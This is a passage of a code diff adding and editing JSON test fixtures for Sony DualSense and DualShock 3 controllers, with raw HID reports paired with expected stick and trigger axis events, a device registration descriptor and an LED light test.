+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+        [0x01, 0xbf, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0xff, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+        [0x01, 0x7f, 0x3f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x00, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+        [0x01, 0x7f, 0xbf, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0xff, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x3f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x00, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0xbf, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x3f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0xbf, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0xff, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0xff, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x7f, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0xff, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
new file mode 100644
index 0000000..e40d5a6
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
@@ -0,0 +1,54 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Sony DualSense (model 409B-CFIZCT1)(USB Test)",
+  "vid": 0x054c,
+  "pid": 0x0ce6,
+  "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
+    0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0x06,
+    0x00, 0xff, 0x09, 0x20, 0x95, 0x01, 0x81, 0x02, 0x05, 0x01, 0x09, 0x39, 0x15, 0x00, 0x25, 0x07,
+    0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x65, 0x00, 0x05,
+    0x09, 0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0f, 0x81, 0x02, 0x06,
+    0x00, 0xff, 0x09, 0x21, 0x95, 0x0d, 0x81, 0x02, 0x06, 0x00, 0xff, 0x09, 0x22, 0x15, 0x00, 0x26,
+    0xff, 0x00, 0x75, 0x08, 0x95, 0x34, 0x81, 0x02, 0x85, 0x02, 0x09, 0x23, 0x95, 0x2f, 0x91, 0x02,
+    0x85, 0x05, 0x09, 0x23, 0x95, 0x28, 0xb1, 0x02, 0x85, 0x08, 0x09, 0x24, 0x95, 0x2f, 0xb1, 0x02,
+    0x85, 0x09, 0x09, 0x24, 0x95, 0x13, 0xb1, 0x02, 0x85, 0x0a, 0x09, 0x25, 0x95, 0x1a, 0xb1, 0x02,
+    0x85, 0x20, 0x09, 0x26, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x21, 0x09, 0x27, 0x95, 0x04, 0xb1, 0x02,
+    0x85, 0x22, 0x09, 0x40, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x80, 0x09, 0x28, 0x95, 0x3f, 0xb1, 0x02,
+    0x85, 0x81, 0x09, 0x29, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x82, 0x09, 0x2a, 0x95, 0x09, 0xb1, 0x02,
+    0x85, 0x83, 0x09, 0x2b, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x84, 0x09, 0x2c, 0x95, 0x3f, 0xb1, 0x02,
+    0x85, 0x85, 0x09, 0x2d, 0x95, 0x02, 0xb1, 0x02, 0x85, 0xa0, 0x09, 0x2e, 0x95, 0x01, 0xb1, 0x02,
+    0x85, 0xe0, 0x09, 0x2f, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf0, 0x09, 0x30, 0x95, 0x3f, 0xb1, 0x02,
+    0x85, 0xf1, 0x09, 0x31, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf2, 0x09, 0x32, 0x95, 0x0f, 0xb1, 0x02,
+    0xc0],
+
+  "feature_reports": [
+    {
+      "id": 0x05,
+      "data": [
+        0x05, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x9d, 0x22, 0x5e, 0xdd, 0x92,
+        0x22, 0x52, 0xdd, 0xba, 0x22, 0x51, 0xdd, 0x1c, 0x02, 0x1c, 0x02, 0xfb,
+        0x1f, 0x05, 0xe0, 0x83, 0x1f, 0x99, 0xdf, 0x07, 0x20, 0xfc, 0xdf, 0x05,
+        0x00, 0x00, 0x00, 0x00, 0x00]
+    },
+    {
+      "id": 0x09,
+      "data": [
+        0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    },
+    {
+      "id": 0x20,
+      "data": [
+        0x20, 0x41, 0x75, 0x67, 0x20, 0x31, 0x38, 0x20, 0x32, 0x30, 0x32, 0x30,
+        0x30, 0x36, 0x3a, 0x32, 0x30, 0x3a, 0x32, 0x39, 0x03, 0x00, 0x04, 0x00,
+        0x13, 0x03, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x01, 0x41, 0x0a, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00,
+        0x2a, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x00, 0x06, 0x00, 0x00, 0x00,
+        0x98, 0xd8, 0xb3, 0xb7]
+    }
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock3_usb_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock3_usb_keyeventtests.json
index fd152c2..af036bd 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock3_usb_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock3_usb_keyeventtests.json
@@ -152,7 +152,7 @@
   },
 
   {
-    "name": "Press BUTTON_L3",
+    "name": "Press left thumb button",
     "reports": [
       [0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
@@ -171,7 +171,7 @@
   },
 
   {
-    "name": "Press BUTTON_R3",
+    "name": "Press right thumb button",
     "reports": [
       [0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock3_usb_lighttests.json b/tests/tests/hardware/res/raw/sony_dualshock3_usb_lighttests.json
new file mode 100644
index 0000000..ec88ed8
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock3_usb_lighttests.json
@@ -0,0 +1,19 @@
+// Refer to kernel sony_set_leds() in drivers/hid/hid-sony.c
+[
+    {
+        "id": 1,
+        "lightType": "INPUT_PLAYER_ID",
+        "lightName": "sony",
+        "lightColor": 0x00000000,
+        "lightPlayerId": 4,
+        "hidEventType": "UHID_SET_REPORT",
+        "ledsHidOutput":   // LED Bitmask data index of HID SET_REPORT packet.
+            [ { "index": 10,  "data": 16 }
+            ],
+        // Dualshock 3 USB need to send a HID report to start working.
+        "report": [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x02, 0xee, 0x12, 0x00, 0x00, 0x00, 0x00, 0x12, 0xd6, 0x77, 0x00, 0x40,
+            0x01, 0xfa, 0x02, 0x62, 0x02, 0x33, 0x01, 0xeb]
+    }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json
index 3d22120..99ae1cd 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x0268,
   "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [0x05, 0x01, 0x09, 0x04, 0xa1, 0x01, 0xa1, 0x02, 0x85, 0x01, 0x75, 0x08, 0x95, 0x01,
